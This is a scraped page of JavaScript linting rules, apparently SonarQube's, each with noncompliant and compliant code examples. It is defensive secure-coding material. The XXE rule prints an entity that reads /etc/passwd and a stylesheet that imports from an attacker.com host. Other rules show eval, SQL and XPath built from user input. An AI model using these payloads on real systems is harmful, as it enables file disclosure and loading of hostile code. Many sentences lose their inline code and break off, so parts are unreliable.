There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesRegarding the execution of unknown code, the best solution is to not run code provided by an untrusted source. If you really need to do it, run the code in a sandboxed environment. Use jails, firewalls and whatever means your operating system and programming language provide (example: Security Managers in java, iframes and same-origin policy for javascript in a web browser). Do not try to create a blacklist of dangerous code. It is impossible to cover all attacks that way. Avoid using dynamic code APIs whenever possible. Hard-coded code is always safer. Sensitive Code Examplelet value = eval('obj.' + propName); // Sensitive let func = Function('obj' + propName); // Sensitive ExceptionsThis rule will not raise an issue when the argument of the See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1525 |
The debugger statement can be placed anywhere in procedures to suspend execution. Using the debugger statement is similar to setting a breakpoint in the code. By definition such statement must absolutely be removed from the source code to prevent any unexpected behavior or added vulnerability to attacks in production. Noncompliant Code Examplefor (i = 1; i<5; i++) { // Print i to the Output window. Debug.write("loop index is " + i); // Wait for user to resume. debugger; } Compliant Solutionfor (i = 1; i<5; i++) { // Print i to the Output window. Debug.write("loop index is " + i); } See
DeprecatedThis rule is deprecated; use S4507 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1526 |
Variables declared with To keep confusion to a minimum, Noncompliant Code Examplevar x = 1; function fun(){ alert(x); // Noncompliant as x is declared later in the same scope if(something) { var x = 42; // Declaration in function scope (not block scope!) shadows global variable } } fun(); // Unexpectedly alerts "undefined" instead of "1" Compliant Solutionvar x = 1; function fun() { print(x); if (something) { x = 42; } } fun(); // Print "1" |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1527 |
The following words may be used as keywords in future evolutions of the language, so using them as identifiers should be avoided to allow an easier adoption of those potential future versions:
Use of these words as identifiers would produce an error in JavaScript Noncompliant Code Examplevar package = document.getElementsByName("foo"); // Noncompliant var someData = { package: true }; // Compliant, as it is not used as an identifier here Compliant Solutionvar elements = document.getElementsByName("foo"); // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3827 |
When a non-existent variable is referenced a Due to the dynamic nature of JavaScript this can happen in a number of scenarios:
This rule does not raise issues on global variables which are defined with Noncompliant Code Examplevar john = { firstName: "john", show: function() { console.log(firstName); } // Noncompliant: firstName is not defined } john.show(); Compliant Solutionvar john = { firstName: "john", show: function() { console.log(this.firstName); } } john.show(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1528 |
Array literals should always be preferred to Array constructors. Array constructors are error-prone due to the way their arguments are interpreted. If more than one argument is used, the array length will be equal to the number of arguments. However, using a single argument will have one of three consequences:
let arr = new Array(3); // [empty × 3]
let arr = new Array(3.14); // RangeError: Invalid array length
let arr = new Array("3"); // ["3"] Note that even if you set the length of an array, it will be empty. That is, it will have the number of elements you declared, but they won't contain anything, so no callbacks will be applied to the array elements. For these reasons, if someone changes the code to pass 1 argument instead of 2 arguments, the array might not have the expected length. To avoid these kinds of weird cases, always use the more readable array literal initialization format. Noncompliant Code Examplelet myArray = new Array(x1, x2, x3); // Noncompliant. Results in 3-element array. let emptyArray = new Array(); // Noncompliant. Results in 0-element array. let unstableArray = new Array(n); // Noncompliant. Variable in results. let arr = new Array(3); // Noncompliant; empty array of length 3 arr.foreach((x) => alert("Hello " + x)); // callback is not executed because there's nothing in arr let anotherArr = arr.map(() => 42); // anotherArr is also empty because callback didn't execute Compliant Solutionlet myArray = [x1, x2, x3]; let emptyArray = []; // if "n" is the only array element let unstableArray = [n]; // or, if "n" is the array length (since ES 2015) let unstableArray = Array.from({length: n}); let arr = ["Elena", "Mike", "Sarah"]; arr.foreach((x) => alert("Hello " + x)); let anotherArr = arr.map(() => 42); // anotherArr now holds 42 in each element |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2737 |
A Such clauses should either be eliminated or populated with the appropriate logic. Noncompliant Code Exampletry { doSomething(); } catch (ex) { // Noncompliant throw ex; } Compliant Solutiontry { doSomething(); } catch (ex) { console.err(ex); throw ex; } or doSomething(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1529 |
The bitwise operators This rule raises an issue when Noncompliant Code Exampleif (a & b) { ... } // Noncompliant; & used in error Compliant Solutionif (a && b) { ... } ExceptionsWhen a file contains other bitwise operations, ( |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S100 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression function DoSomething(){...} // Noncompliant Compliant Solutionfunction doSomething(){...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S101 |
Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names (and interfaces for TypeScript) match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression class my_class {...} Compliant Solutionclass MyClass {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1763 |
Jump statements ( Noncompliant Code Examplefunction fun(a) { var i = 10; return i + a; i++; // Noncompliant; this is never executed } Compliant Solutionfunction fun(int a) { var i = 10; return i + a; } ExceptionsThis rule ignores unreachable switch (x) { case 42: return 43; break; // Compliant default: doSomething(); } Hoisted variables declarations without initialization are always considered reachable. function bar() { return x = function() { x.foo = 42; } var x; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5689 |
Disclosing technology fingerprints allows an attacker to gather information about the technologies used to develop the web application and to perform relevant security assessments more quickly (like the identification of known vulnerable components). Ask Yourself Whether
There is a risk if you answered yes to any of these questions. Recommended Secure Coding PracticesIt's recommended to not disclose technologies used on a website, with In addition, it's better to completely disable this HTTP header rather than setting it a random value. Sensitive Code ExampleExpress.js name is disclosed by default into the let express = require('express'); let app = express(); // Sensitive app.get('/', function (req, res) { res.send('hello') }); Compliant Solution
let express = require('express'); let app1 = express(); // Compliant app1.disable("x-powered-by"); let helmet = require("helmet"); let app2 = express(); // Compliant app2.use(helmet.hidePoweredBy()); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. Noncompliant Code Exampleif (a == b && a == b) { // if the first one is true, the second one is too doX(); } if (a > a) { // always false doW(); } var j = 5 / 5; //always 1 var k = 5 - 5; //always 0 ExceptionsThe specific case of testing one variable against itself is a valid test for Similarly, left-shifting 1 onto 1 is common in the construction of bit masks, and is ignored. Moreover comma operator if (f !== f) { // test for NaN value console.log("f is NaN"); } var i = 1 << 1; // Compliant var j = a << a; // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1192 |
Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences. On the other hand, constants can be referenced from many places, but only need to be updated in a single place. ExceptionsTo prevent generating some false-positives, literals having less than 10 characters are excluded as well as literals matching |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3812 |
Mixing up the order of operations will almost always yield unexpected results. Similarly, mis-applied negation will also yield bad results. For instance consider the difference between This rule raises an issue when the left operand of an Noncompliant Code Exampleif (!"prop" in myObj) { // Noncompliant; "in" operator is checking property "false" doTheThing(); // this block will be never executed } if (!foo instanceof MyClass) { // Noncompliant; "!foo" returns a boolean, which is not an instance of anything doTheOtherThing(); // this block is never executed } Compliant Solutionif (!("prop" in myObj)) { doTheThing(); } if (!(foo instanceof MyClass)) { doTheOtherThing(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1515 |
Defining a function inside of a loop can yield unexpected results. Such a function keeps references to the variables which are defined in outer scopes. All function instances created inside the loop therefore see the same values for these variables, which is probably not expected. Noncompliant Code Examplevar funs = []; for (var i = 0; i < 13; i++) { funs[i] = function() { // Non-Compliant return i; }; } console.log(funs[0]()); // 13 instead of 0 console.log(funs[1]()); // 13 instead of 1 console.log(funs[2]()); // 13 instead of 2 console.log(funs[3]()); // 13 instead of 3 ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1516 |
Continuing a string across a linebreak is supported in most script engines, but it is not a part of ECMAScript. Additionally, the whitespace at the beginning of each line can't be safely stripped at compile time, and any whitespace after the slash will result in tricky errors. Noncompliant Code Examplevar myString = 'A rather long string of English text, an error message \ actually that just keeps going and going -- an error \ message to make the Energizer bunny blush (right through \ those Schwarzenegger shades)! Where was I? Oh yes, \ you\'ve got an error and all the extraneous whitespace is \ just gravy. Have a nice day.'; // Noncompliant Compliant Solutionvar myString = 'A rather long string of English text, an error message ' + 'actually that just keeps going and going -- an error ' + 'message to make the Energizer bunny blush (right through ' + 'those Schwarzenegger shades)! Where was I? Oh yes, ' + 'you\'ve got an error and all the extraneous whitespace is ' + 'just gravy. Have a nice day.'; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3498 |
When an already-defined variable is given the same name within a new object, object-shorthand syntax is preferred as being more compact. Similarly, object-shorthand is also preferred for the definition of functions in object literals. Noncompliant Code Examplelet a = 1; let myObj = { a : a, // Noncompliant fun: function () { // Noncompliant //... } } Compliant Solutionlet a = 1; let myObj = { a, fun () { //... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1871 |
Having two Noncompliant Code Exampleswitch (i) { case 1: doFirstThing(); doSomething(); break; case 2: doSomethingDifferent(); break; case 3: // Noncompliant; duplicates case 1's implementation doFirstThing(); doSomething(); break; default: doTheRest(); } if (a >= 0 && a < 10) { doFirstThing(); doTheThing(); } else if (a >= 10 && a < 20) { doTheOtherThing(); } else if (a >= 20 && a < 50) { doFirstThing(); doTheThing(); // Noncompliant; duplicates first condition } else { doTheRest(); } ExceptionsBlocks in an if (a == 1) { doSomething(); //no issue, usually this is done on purpose to increase the readability } else if (a == 2) { doSomethingElse(); } else { doSomething(); } But this exception does not apply to if (a == 1) { doSomething(); //Noncompliant, this might have been done on purpose but probably not } else if (a == 2) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3499 |
Grouping all the shorthand declarations together in an object makes the declaration as a whole more readable. This rule accepts shorthand declarations grouped at either the beginning or end of an object. Noncompliant Code Examplelet obj1 = { foo, a: 1, color, // Noncompliant b: 2, judyGarland // Noncompliant } Compliant Solutionlet obj1 = { foo, color, judyGarland, a: 1, b: 2 } or let obj1 = { a: 1, b: 2, foo, color, judyGarland } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1751 |
A loop with at most one iteration is equivalent to the use of an At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested Noncompliant Code Examplefor (let i = 0; i < 10; i++) { // noncompliant, loop only executes once console.log("i is " + i); break; } ... for (let i = 0; i < 10; i++) { // noncompliant, loop only executes once if (i == x) { break; } else { console.log("i is " + i); return; } } Compliant Solutionfor (let i = 0; i < 10; i++) { console.log("i is " + i); } ... for (let i = 0; i < 10; i++) { if (i == x) { break; } else { console.log("i is " + i); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1994 |
It can be extremely confusing when a Noncompliant Code Examplefor (i = 0; i < 10; j++) { // Noncompliant // ... i++; } Compliant Solutionfor (i = 0; i < 10; i++, j++) { // ... } Or for (i = 0; i < 10; i++) { // ... j++; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S117 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule checks that all variable, property and parameter names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression const foo_bar = 1; const baz_ = 2; Compliant Solutionconst fooBar = 1; const _baz = 2; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S113 |
Some tools work better when files end with an empty line. This rule simply generates an issue if it is missing. For example, a Git diff looks like this if the empty line is missing at the end of the file: +class Test { +} \ No newline at end of file |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1788 |
The ability to define default values for function parameters can make a function easier to use. Default parameter values allow callers to specify as many or as few arguments as they want while getting the same functionality and minimizing boilerplate, wrapper code. But all function parameters with default values should be declared after the function parameters without default values. Otherwise, it makes it
impossible for callers to take advantage of defaults; they must re-specify the defaulted values or pass Noncompliant Code Examplefunction multiply(a = 1, b) { // Noncompliant return a*b; } var x = multiply(42); // returns NaN as b is undefined Compliant Solutionfunction multiply(b, a = 1) { return a*b; } var x = multiply(42); // returns 42 as expected |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S3723 |
Modern browsers ignore unneeded, trailing commas, so there are no negatives to having them unless you're supporting an IE 8 application. Since they make adding new properties simpler, their use is preferred. This rule raises an issue when the last item in an object declaration or array declaration does not end with a trailing comma and does not lie on the same line as the closing curly brace or bracket. Noncompliant Code Examplevar joe = { fname: "Joe", lname: "Smith" // Noncompliant }; Compliant Solutionvar joe = { fname: "Joe", lname: "Smith", // OK }; var joe = { fname: "Joe", lname: "Smith"}; // OK |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2755 |
XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs. Example in this XML document, an external entity read the /etc/passwd file: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <to>&xxe;</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note> In this XSL document, network access is allowed which can lead to SSRF vulnerabilities: <?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl"> <xsl:import href="http://www.attacker.com/evil.xsl"/> <xsl:include href="http://www.attacker.com/evil.xsl"/> <xsl:template match="/"> &content; </xsl:template> </xsl:stylesheet> It is recommended to disable access to external entities and network access in general. Noncompliant Code Examplelibxmljs module: const libxmljs = require("libxmljs"); var fs = require('fs'); var xml = fs.readFileSync('xxe.xml', 'utf8'); var xmlDoc = libxmljs.parseXmlString(xml, { noblanks: true, noent: true, nocdata: true }); // Noncompliant: noent set to true Compliant Solutionlibxmljs module: const libxmljs = require("libxmljs"); var fs = require('fs'); var xml = fs.readFileSync('xxe.xml', 'utf8'); var xmlDoc = libxmljs.parseXmlString(xml); // Compliant: noent set to false by default See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2999 |
The Noncompliant Code Examplefunction MyClass() { this.foo = 'bar'; } var someClass = 1; var obj1 = new someClass; // Noncompliant; var obj2 = new MyClass(); // Noncompliant if considerJSDoc parameter set to true. Compliant when considerJSDoc=false Compliant Solution/** * @constructor */ function MyClass() { this.foo = 'bar'; } var someClass = function(){ this.prop = 1; } var obj1 = new someClass; // Compliant var obj2 = new MyClass(); // Compliant regardless of considerJSDoc value |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2757 |
The use of operators pairs ( This rule raises an issue when Noncompliant Code Examplelet target =-5; let num = 3; target =- num; // Noncompliant; target = -3. Is that really what's meant? target =+ num; // Noncompliant; target = 3 Compliant Solutionlet target = -5; let num = 3; target = -num; // Compliant; intent to assign inverse value of num is clear target += num; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4818 |
Using sockets is security-sensitive. It has led in the past to the following vulnerabilities: Sockets are vulnerable in multiple ways:
This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Exampleconst net = require('net'); var socket = new net.Socket(); // Sensitive socket.connect(80, 'google.com'); // net.createConnection creates a new net.Socket, initiates connection with socket.connect(), then returns the net.Socket that starts the connection net.createConnection({ port: port }, () => {}); // Sensitive // net.connect is an alias to net.createConnection net.connect({ port: port }, () => {}); // Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4817 |
Executing XPATH expressions is security-sensitive. It has led in the past to the following vulnerabilities: User provided data such as URL parameters should always be considered as untrusted and tainted. Constructing XPath expressions directly from tainted data enables attackers to inject specially crafted values that changes the initial meaning of the expression itself. Successful XPath injections attacks can read sensitive information from the XML document. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesSanitize any user input before using it in an XPATH expression. Sensitive Code Example// === Server side === var xpath = require('xpath'); var xmldom = require('xmldom'); var doc = new xmldom.DOMParser().parseFromString(xml); var nodes = xpath.select(userinput, doc); // Sensitive var node = xpath.select1(userinput, doc); // Sensitive // === Client side === // Chrome, Firefox, Edge, Opera, and Safari use the evaluate() method to select nodes: var nodes = document.evaluate(userinput, xmlDoc, null, XPathResult.ANY_TYPE, null); // Sensitive // Internet Explorer uses its own methods to select nodes: var nodes = xmlDoc.selectNodes(userinput); // Sensitive var node = xmlDoc.SelectSingleNode(userinput); // Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2990 |
When the keyword Noncompliant Code Examplethis.foo = 1; // Noncompliant console.log(this.foo); // Noncompliant function MyObj() { this.foo = 1; // Compliant } MyObj.func1 = function() { if (this.foo == 1) { // Compliant // ... } } Compliant Solutionfoo = 1; console.log(foo); function MyObj() { this.foo = 1; } MyObj.func1 = function() { if (this.foo == 1) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S122 |
For better readability, do not put more than one statement on a single line. Noncompliant Code Examplefoo(); bar(); // Noncompliant Compliant Solutionfoo(); bar(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2077 |
Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities: SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms. This rule flags the execution of SQL queries which are built using formatting of strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice. This rule raises an issue when any of the following NodeJS APIs are used:
The following formatting methods will raise an issue:
Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
You can also reduce the impact of an attack by using a database account with low privileges. Sensitive Code Example// === MySQL === const mysql = require('mysql'); const mycon = mysql.createConnection({ host: host, user: user, password: pass, database: db }); mycon.connect(function(err) { mycon.query('SELECT * FROM users WHERE id = ' + userinput, (err, res) => {}); // Sensitive }); // === PostgreSQL === const pg = require('pg'); const pgcon = new pg.Client({ host: host, user: user, password: pass, database: db }); pgcon.connect(); pgcon.query('SELECT * FROM users WHERE id = ' + userinput, (err, res) => {}); // Sensitive Compliant Solution// === MySQL === const mysql = require('mysql'); const mycon = mysql.createConnection({ host: host, user: user, password: pass, database: db }); mycon.connect(function(err) { mycon.query('SELECT name FROM users WHERE id = ?', [userinput], (err, res) => {}); }); // === PostgreSQL === const pg = require('pg'); const pgcon = new pg.Client({ host: host, user: user, password: pass, database: db }); pgcon.connect(); pgcon.query('SELECT name FROM users WHERE id = $1', [userinput], (err, res) => {}); ExceptionsThis rule's current implementation does not follow variables. It will only detect SQL queries which are formatted directly in the function call. const sql = 'SELECT * FROM users WHERE id = ' + userinput; mycon.query(sql, (err, res) => {}); // Sensitive but no issue is raised. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2871 |
The default sort order is alphabetic, rather than numeric, regardless of the types in the array. Specifically, even if an array contains only numbers, all values in it will be converted to strings and sorted lexicographically, for an order like this: 1, 15, 2, 20, 5. Fortunately the Noncompliant Code Examplevar myarray = [80, 3, 9, 34, 23, 5, 1]; myarray.sort(); console.log(myarray); // outputs: [1, 23, 3, 34, 5, 80, 9] Compliant Solutionvar myarray = [80, 3, 9, 34, 23, 5, 1]; myarray.sort((a, b) => (a - b)); console.log(myarray); // outputs: [1, 3, 5, 9, 23, 34, 80] |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S121 |
While not technically incorrect, the omission of curly braces can be misleading, and may lead to the introduction of errors during maintenance. Noncompliant Code Exampleif (condition) // Noncompliant executeSomething(); Compliant Solutionif (condition) { executeSomething(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S2870 |
The The proper method for removing an element at a certain index would be:
Noncompliant Code Examplevar myArray = ['a', 'b', 'c', 'd']; delete myArray[2]; // Noncompliant. myArray => ['a', 'b', undefined, 'd'] console.log(myArray[2]); // expected value was 'd' but output is undefined Compliant Solutionvar myArray = ['a', 'b', 'c', 'd']; // removes 1 element from index 2 removed = myArray.splice(2, 1); // myArray => ['a', 'b', 'd'] console.log(myArray[2]); // outputs 'd' |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1541 |
The Cyclomatic Complexity of functions should not exceed a defined threshold. Complex code may perform poorly and can be difficult to test thoroughly. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4139 |
If you have an iterable, such as an array, set, or list, your best option for looping through its values is the Noncompliant Code Exampleconst arr = [4, 3, 2, 1]; for (let value in arr) { // Noncompliant console.log(value); // logs 0, 1, 2, 3 } Compliant Solutionconst arr = [4, 3, 2, 1]; for (let value of arr) { console.log(value); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S1301 |
For just one or two cases however, the code will be more readable with Noncompliant Code Exampleswitch (variable) { case 0: doSomething(); break; default: doSomethingElse(); break; } Compliant Solutionif (variable == 0) { doSomething(); } else { doSomethingElse(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S4138 |
If you have an iterable, such as an array, set, or list, your best option for looping through its values is the Noncompliant Code Exampleconst arr = [4, 3, 2, 1]; for (let i = 0; i < arr.length; i++) { // Noncompliant console.log(arr[i]); } Compliant Solutionconst arr = [4, 3, 2, 1]; for (let value of arr) { console.log(value); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Examplefor (var i = 0; i < length; i++) {} // Empty on purpose or missing piece of code ? ExceptionsWhen a block contains a comment, this block is not considered to be empty. Moreover |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S109 |
A magic number is a number that comes out of nowhere, and is directly used in a statement. Magic numbers are often used, for instance to limit the number of iterations of a loop, to test the value of a property, etc. Using magic numbers may seem obvious and straightforward when you're writing a piece of code, but they are much less obvious and straightforward at debugging time. That is why magic numbers must be demystified by first being assigned to clearly named variables before being used. -1, 0 and 1 are not considered magic numbers. Noncompliant Code Examplefunction doSomething() { for (let i = 0; i < 4; i++) { // Noncompliant, 4 is a magic number // ... } } Compliant Solutionfunction doSomething() { const numberOfCycles = 4; for (let i = 0; i < numberOfCycles; i++) { // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S106 |
Debug statements are always useful during development. But include them in production code - particularly in code that runs client-side - and you run the risk of inadvertently exposing sensitive information, slowing down the browser, or even erroring-out the site for some users. Noncompliant Code Exampleconsole.log(password_entered); // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. Noncompliant Code ExampleWith a maximum number of 4 parameters: function doSomething(param1, param2, param3, param4, param5) { ... } Compliant Solutionfunction doSomething(param1, param2, param3, param4) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5693 |
Rejecting requests with significant content length is a good practice to control the network traffic intensity and thus resource consumption in order to prevents DoS attacks. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
It is recommended to customize the rule with the limit values that correspond to the web application. Sensitive Code Exampleformidable file upload module: const form = new Formidable(); form.maxFileSize = 10000000; // Sensitive: 10MB is more than the recommended limit of 8MB const formDefault = new Formidable(); // Sensitive, the default value is 200MB multer (Express.js middleware) file upload module: let diskUpload = multer({ storage: diskStorage, limits: { fileSize: 10000000; // Sensitive: 10MB is more than the recommended limit of 8MB } }); let diskUploadUnlimited = multer({ // Sensitive: the default value is no limit storage: diskStorage, }); body-parser module: // 4MB is more than the recommended limit of 2MB for non-file-upload requests let jsonParser = bodyParser.json({ limit: "4mb" }); // Sensitive let urlencodedParser = bodyParser.urlencoded({ extended: false, limit: "4mb" }); // Sensitive Compliant Solutionformidable file upload module: const form = new Formidable(); form.maxFileSize = 8000000; // Compliant: 8MB multer (Express.js middleware) file upload module: let diskUpload = multer({ storage: diskStorage, limits: { fileSize: 8000000 // Compliant: 8MB } }); body-parser module: let jsonParser = bodyParser.json(); // Compliant, when the limit is not defined, the default value is set to 100kb let urlencodedParser = bodyParser.urlencoded({ extended: false, limit: "2mb" }); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S105 |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
javascript:S5691 |
